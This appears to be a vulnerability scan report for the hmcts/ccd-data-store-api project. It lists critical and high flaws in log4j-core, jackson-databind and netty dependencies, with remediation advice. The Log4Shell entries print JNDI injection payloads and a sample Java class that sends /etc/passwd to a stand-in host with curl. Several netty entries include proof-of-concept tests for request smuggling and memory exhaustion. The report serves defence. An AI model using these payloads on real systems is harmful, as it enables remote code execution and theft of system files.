Vulnerabilities |
115 via 548 paths |
|---|---|
Dependencies |
291 |
Source |
GitHub |
Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: org.apache.logging.log4j:log4j-core
- Introduced through: org.elasticsearch:elasticsearch@9.5.5 and io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to org.elasticsearch:elasticsearch@9.5.5.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to io.searchbox:jest@6.3.1.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to io.searchbox:jest@6.3.1.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to io.searchbox:jest@6.3.1.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to io.searchbox:jest@6.3.1.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7
Overview
org.apache.logging.log4j:log4j-core is a logging library for Java.
Affected versions of this package are vulnerable to Remote Code Execution (RCE). Apache Log4j2 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
From log4j 2.15.0, JNDI LDAP endpoints are restricted to localhost by default.
PoC
When an application uses log4j to log user input, an attacker can exploit this vulnerability, by supplying a malicious string that the application logs - for example, ${jndi:ldap://someurl/Evil}. This causes the application to execute a malicious class supplied by an attacker’s LDAP server (someurl/Evil in this example).
For example, the vulnerability can be used to inject this malicious class into an application:
public class Evil implements ObjectFactory {
@Override
public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Runtime.getRuntime().exec("curl -F 'file=@/etc/passwđ' https://someurl/upload");
return null;
}
}
This causes the application to disclose the etc/passwd file on the system, and send it to a remote attacker.
Further Remediation Options
If upgrading the version is not possible, we strongly recommend to mitigate the vulnerability using one of these methods:
- Remove
JndiLookup.classfrom the class path (i.e:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class. While not pertinent to log4shell, consider also removingJndiManager,JMSAppenderandSMTPAppenderif you are not using them, as there are unconfirmed reports they could be leveraged in similar attacks in the future. - Partial mitigation: disable lookups via system properties or environmental variables. If you use log4j >=2.10.0, you can set the system property
LOG4J_FORMAT_MSG_NO_LOOKUPSor the environmental variableDlog4j2.formatMsgNoLookupstotrue. (RCE is possible in some non-default Pattern Layout configurations that use a Context Lookup or a Thread Context Map pattern.)
Upgrading your JDK versions is not enough to mitigate this vulnerability in all circumstances, as it was proven that setting the com.sun.jndi.ldap.object.trustURLCodebase property to false is not enough.
For more remediation advice, please visit the Log4j Remediation Cheat Sheet post.
Note: org.apache.logging.log4j:log4j-api was originally deemed vulnerable, but Apache maintainers have since clarified that this only affects org.apache.logging.log4j:log4j-core.
Remediation
Upgrade org.apache.logging.log4j:log4j-core to version 2.3.1, 2.12.2, 2.15.0 or higher.
Use this guide to scan your projects for the Log4Shell vulnerability.
References
critical severity
- Vulnerable module: org.apache.logging.log4j:log4j-core
- Introduced through: org.elasticsearch:elasticsearch@9.5.5 and io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to org.elasticsearch:elasticsearch@9.5.5.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to io.searchbox:jest@6.3.1.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to io.searchbox:jest@6.3.1.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to io.searchbox:jest@6.3.1.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to io.searchbox:jest@6.3.1.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7
Overview
org.apache.logging.log4j:log4j-core is a logging library for Java.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. When using the TCP socket server or UDP socket server to receive serialized log events from another application, a specially crafted binary payload can be sent that, when deserialized, can execute arbitrary code.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.
Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.
Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.
An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.
Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).
Remediation
Upgrade org.apache.logging.log4j:log4j-core to version 2.8.2 or higher.
References
critical severity
new
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: com.fasterxml.jackson.core:jackson-databind@2.22.3, co.elastic.clients:elasticsearch-java@9.5.5 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › com.fasterxml.jackson.core:jackson-databind@2.22.3Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.22.4.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › co.elastic.clients:elasticsearch-java@9.5.5 › com.fasterxml.jackson.core:jackson-databind@2.22.3
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › com.auth0:java-jwt@4.6.2 › com.fasterxml.jackson.core:jackson-databind@2.22.3
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.github.openfeign:feign-jackson@13.17 › com.fasterxml.jackson.core:jackson-databind@2.22.3
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.jsonwebtoken:jjwt-jackson@0.13.0 › com.fasterxml.jackson.core:jackson-databind@2.22.3
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springdoc:springdoc-openapi-starter-webmvc-ui@2.9.1 › org.springdoc:springdoc-openapi-starter-webmvc-api@2.9.1 › org.springdoc:springdoc-openapi-starter-common@2.9.1 › io.swagger.core.v3:swagger-core-jakarta@2.2.55 › com.fasterxml.jackson.core:jackson-databind@2.22.3
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springdoc:springdoc-openapi-starter-webmvc-ui@2.9.1 › org.springdoc:springdoc-openapi-starter-webmvc-api@2.9.1 › org.springdoc:springdoc-openapi-starter-common@2.9.1 › io.swagger.core.v3:swagger-core-jakarta@2.2.55 › com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.22.1 › com.fasterxml.jackson.core:jackson-databind@2.22.3
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data in the _resolveAndValidateGeneric() and _validateTypeParameter() methods of the DatabindContext class. An attacker can instantiate arbitrary classes by supplying a class-name type ID whose generic arguments or array element type name a class that is not validated, because only the outer type is checked against the PolymorphicTypeValidator. Exploitation requires deserializing untrusted JSON with class-name type IDs, through annotation-based polymorphism or default typing, where the outer base type is approved, and a usable gadget class is on the classpath.
Workaround
This vulnerability can be avoided by using narrow subtype rules, preventing attackers from writing serialized cache or session values, or removing unnecessary dependencies that provide gadget classes.
Note: This is a bypass of the fix for the vulnerability described in CVE-2026-54512.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.
Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.18.12, 2.21.8, 2.22.4 or higher.
References
critical severity
new
- Vulnerable module: tools.jackson.core:jackson-databind
- Introduced through: co.elastic.clients:elasticsearch-java@9.5.5, org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › co.elastic.clients:elasticsearch-java@9.5.5 › tools.jackson.core:jackson-databind@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-RC1 › org.springframework.boot:spring-boot-jackson@4.2.0-RC1 › tools.jackson.core:jackson-databind@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › tools.jackson.core:jackson-databind@jackson3VersionRemediation: Upgrade to tools.jackson.core:jackson-databind@3.1.8.
Overview
Affected versions of this package are vulnerable to Deserialization of Untrusted Data in the _resolveAndValidateGeneric() and _validateTypeParameter() methods of the DatabindContext class. An attacker can instantiate arbitrary classes by supplying a class-name type ID whose generic arguments or array element type name a class that is not validated, because only the outer type is checked against the PolymorphicTypeValidator. Exploitation requires deserializing untrusted JSON with class-name type IDs, through annotation-based polymorphism or default typing, where the outer base type is approved, and a usable gadget class is on the classpath.
Workaround
This vulnerability can be avoided by using narrow subtype rules, preventing attackers from writing serialized cache or session values, or removing unnecessary dependencies that provide gadget classes.
Note: This is a bypass of the fix for the vulnerability described in CVE-2026-54512.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.
Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.
Remediation
Upgrade tools.jackson.core:jackson-databind to version 3.1.8, 3.2.4 or higher.
References
critical severity
- Vulnerable module: io.netty:netty-handler
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-handler@4.1.16.Final
Overview
io.netty:netty-handler is a library that provides an asynchronous event-driven network application framework and tools for rapid development of maintainable high performance and high scalability protocol servers and clients. In other words, Netty is a NIO client server framework which enables quick and easy development of network applications such as protocol servers and clients. It greatly simplifies and streamlines network programming such as TCP and UDP socket server.
Affected versions of this package are vulnerable to Incorrect Comparison in the IpSubnetFilterRule.compareTo() function. An attacker can gain unauthorized access by bypassing IPv6 subnet restrictions through incorrect masking of IP addresses.
Remediation
Upgrade io.netty:netty-handler to version 4.1.135.Final, 4.2.15.Final or higher.
References
critical severity
- Vulnerable module: tools.jackson.core:jackson-databind
- Introduced through: co.elastic.clients:elasticsearch-java@9.5.5, org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › co.elastic.clients:elasticsearch-java@9.5.5 › tools.jackson.core:jackson-databind@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-RC1 › org.springframework.boot:spring-boot-jackson@4.2.0-RC1 › tools.jackson.core:jackson-databind@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › tools.jackson.core:jackson-databind@jackson3VersionRemediation: Upgrade to tools.jackson.core:jackson-databind@3.1.4.
Overview
Affected versions of this package are vulnerable to Deserialization of Untrusted Data in the DatabindContext._resolveAndValidateGeneric() method, which validates only the raw container class of a type identifier against the configured PolymorphicTypeValidator and not its nested generic type arguments. An attacker who controls the type identifier can instantiate a denied class, and reach unauthenticated remote code execution through an available gadget, by embedding that class as a generic parameter of an allowlisted container such as java.util.ArrayList<com.evil.Gadget>, which passes validation while the nested type is loaded, instantiated, and populated with attacker-controlled values. Exploitation requires polymorphic type validation to be enabled with a configured validator, the application to deserialize untrusted JSON, and a suitable gadget class on the classpath.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.
Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.
Remediation
Upgrade tools.jackson.core:jackson-databind to version 3.1.4 or higher.
References
critical severity
- Vulnerable module: tools.jackson.core:jackson-databind
- Introduced through: co.elastic.clients:elasticsearch-java@9.5.5, org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › co.elastic.clients:elasticsearch-java@9.5.5 › tools.jackson.core:jackson-databind@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-RC1 › org.springframework.boot:spring-boot-jackson@4.2.0-RC1 › tools.jackson.core:jackson-databind@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › tools.jackson.core:jackson-databind@jackson3VersionRemediation: Upgrade to tools.jackson.core:jackson-databind@3.1.4.
Overview
Affected versions of this package are vulnerable to Incomplete List of Disallowed Inputs in the BasicPolymorphicTypeValidator.Builder.allowIfSubTypeIsArray() method, which allowlists an array based only on clazz.isArray() and does not validate the array's component type. An attacker who controls the deserialized JSON can instantiate types outside the configured allowlist by wrapping them in an array, because array elements without per-element type identifiers are constructed directly with no further validator check.
Remediation
Upgrade tools.jackson.core:jackson-databind to version 3.1.4 or higher.
References
critical severity
- Vulnerable module: io.netty:netty-handler
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-handler@4.1.16.Final
Overview
io.netty:netty-handler is a library that provides an asynchronous event-driven network application framework and tools for rapid development of maintainable high performance and high scalability protocol servers and clients. In other words, Netty is a NIO client server framework which enables quick and easy development of network applications such as protocol servers and clients. It greatly simplifies and streamlines network programming such as TCP and UDP socket server.
Affected versions of this package are vulnerable to Improper Check for Unusual or Exceptional Conditions through the SslClientHelloHandler.decode ClientHello parser in handler/src/main/java/io/netty/handler/ssl/SslClientHelloHandler.java. An attacker can bypass per-SNI mTLS selection by sending a fragmented TLS ClientHello whose 4-byte handshake header spans multiple records, causing parsing to fail and the connection to fall back to the default SslContext. This breaks deployments that rely on SNI-driven SslContext selection as the only client-certificate check: the request reaches the default TLS configuration instead of the intended SNI-specific context, allowing an unauthenticated client to complete a connection where mTLS was expected.
Remediation
Upgrade io.netty:netty-handler to version 4.2.17.Final, 4.1.137.Final or higher.
References
critical severity
- Vulnerable module: org.apache.logging.log4j:log4j-core
- Introduced through: org.elasticsearch:elasticsearch@9.5.5 and io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to org.elasticsearch:elasticsearch@9.5.5.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to io.searchbox:jest@6.3.1.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to io.searchbox:jest@6.3.1.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to io.searchbox:jest@6.3.1.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to io.searchbox:jest@6.3.1.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7
Overview
org.apache.logging.log4j:log4j-core is a logging library for Java.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) if one of the following conditions is met:
- Logging configuration explicitly enables lookups – either by default (if using a version lower than 2.15.0) or manually by using
%m{lookups}asformatMsgNoLookupsis switched on by default as of version 2.15.0. - Or uses a non-default Pattern Layout with Context Lookup where attackers can control input data via Thread Context Map (MDC),
- Or uses
Logger.printf("%s", userInput)function where attackers can control the userInput variable.
A malicious actor is able to bypass the mitigation implemented in version 2.15.0 that limits JNDI lookups to localhost only: ${jndi:ldap://127.0.0.1#evilhost.com:1389/a}.
We recommend updating to version 2.16.0 which completely disables JNDI lookups by default. If upgrading is not an option, this issue can be mitigated in prior releases by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).
PoC
In config:
<pattern>%d %p %c{1.} [%t] $${ctx:loginId} %m%n</pattern>
In code:
ThreadContext.put("loginId", UserControlledInput);
History
This vulnerability was previously assigned a CVSS score of 3.7 (Low), and the impact was believed to be Denial of Service (DoS).
Furthermore, the advisory previously mentioned Thread Context Map patterns (%X, %mdc, or %MDC) as being vulnerable to this issue, but that has since been proven wrong.
On December 17, 2021 new information came to light, demonstrating that an Arbitrary Code Execution vulnerability still exists in version 2.15.0 of Log4j due to a bypass to the localhost-only lookup mechanism.
Remediation
Upgrade org.apache.logging.log4j:log4j-core to version 2.3.1, 2.12.2, 2.16.0 or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec-http@4.1.16.Final
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to HTTP Request Smuggling in the HttpClientCodec component. An attacker can cause response desynchronization and potentially compromise the integrity and availability of HTTP parsing by sending crafted HTTP/1.1 pipelined requests that include a HEAD request and trigger the server to send 1xx responses. This can result in unsafe reuse of the socket and misinterpretation of response bodies.
Note:
This is only exploitable if HTTP/1.1 pipelining is used, a HEAD request is present in the pipeline, and the server sends 1xx responses.
PoC
@Test
public void test() {
EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());
assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, "/1")));
ByteBuf request = channel.readOutbound();
request.release();
assertNull(channel.readOutbound());
assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, "/2")));
request = channel.readOutbound();
request.release();
assertNull(channel.readOutbound());
String responseStr = "HTTP/1.1 103 Early Hints\r\n\r\n" +
"HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello" +
"HTTP/1.1 200 OK\r\n\r\n";
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));
// Response 1
HttpResponse response = channel.readInbound();
assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());
LastHttpContent last = channel.readInbound();
assertEquals(0, last.content().readableBytes());
last.release();
// Response 2
response = channel.readInbound();
assertEquals(HttpResponseStatus.OK, response.status());
last = channel.readInbound();
assertEquals(0, last.content().readableBytes());
last.release();
// Response 3
FullHttpResponse response1 = channel.readInbound();
assertTrue(response1.decoderResult().isFailure());
assertEquals(0, response1.content().readableBytes());
response1.release();
assertFalse(channel.finish());
}
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec@4.1.16.Final
Overview
io.netty:netty-codec is an event-driven asynchronous network application framework.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the Lz4FrameDecoder component. An attacker can cause excessive memory allocation by sending specially crafted compressed data with manipulated header fields, leading to resource exhaustion and potential denial of service.
PoC
@Test
void test() throws Exception {
EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
try {
AtomicReference<Throwable> serverError = new AtomicReference<>();
CountDownLatch latch = new CountDownLatch(1);
ServerBootstrap server = new ServerBootstrap()
.group(workerGroup)
.channel(NioServerSocketChannel.class)
.childHandler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
ch.pipeline()
.addLast(new Lz4FrameDecoder())
.addLast(new ChannelInboundHandlerAdapter() {
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
if (cause instanceof DecoderException) {
serverError.set(cause.getCause());
} else {
serverError.set(cause);
}
latch.countDown();
}
});
}
});
ChannelFuture serverChannel = server.bind(0).sync();
Bootstrap client = new Bootstrap()
.group(workerGroup)
.channel(NioSocketChannel.class)
.handler(new ChannelInboundHandlerAdapter() {
@Override
public void channelActive(ChannelHandlerContext ctx) {
ByteBuf buf = ctx.alloc().buffer(22, 22);
buf.writeLong(MAGIC_NUMBER);
buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
buf.writeIntLE(1);
buf.writeIntLE(1 << 25);
buf.writeIntLE(0);
buf.writeByte(0);
ctx.writeAndFlush(buf);
ctx.fireChannelActive();
}
});
ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();
assertTrue(latch.await(10, TimeUnit.SECONDS));
assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());
clientChannel.channel().close();
serverChannel.channel().close();
} finally {
workerGroup.shutdownGracefully();
}
}
Remediation
Upgrade io.netty:netty-codec to version 4.1.133.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec@4.1.16.Final
Overview
io.netty:netty-codec is an event-driven asynchronous network application framework.
Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the HttpContentDecompressor and DelegatingDecompressorFrameListener components when the Content-Encoding header is set to br, zstd, or snappy. An attacker can exhaust system memory and cause a denial of service by sending a highly compressed payload that decompresses to a very large size, bypassing the configured decompression limit.
Remediation
Upgrade io.netty:netty-codec to version 4.1.133.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec@4.1.16.Final
Overview
io.netty:netty-codec is an event-driven asynchronous network application framework.
Affected versions of this package are vulnerable to Infinite loop in the Bzip2Decoder handler's run-length encoding state machine. An attacker can cause the event-loop thread to hang indefinitely by supplying a specially crafted bzip2 stream that triggers an infinite loop during decompression.
Remediation
Upgrade io.netty:netty-codec to version 4.1.136.Final, 4.2.16.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec-http@4.1.16.Final
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the SpdyFrameCodec pipeline. An attacker can exhaust system resources by sending a small compressed HEADERS block that expands into significantly larger raw header data, leading to excessive CPU and memory allocation.
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.136.Final, 4.2.16.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec-http@4.1.16.Final
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the SpdyHttpDecoder. An attacker can cause native memory exhaustion by sending a client-initiated SYN_STREAM frame with FLAG_FIN=0 followed by a RST_STREAM frame or by exceeding the maximum content length, which leads to unreleased pooled ByteBuf allocations.
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.136.Final, 4.2.16.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec-http@4.1.16.Final
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the processing of SPDY SETTINGS frames in the SpdyFrameCodec.decode function. An attacker can cause excessive memory allocation and CPU consumption by sending a specially crafted SETTINGS frame with a large number of unique setting IDs, leading to resource exhaustion on the target system.
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.136.Final, 4.2.16.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
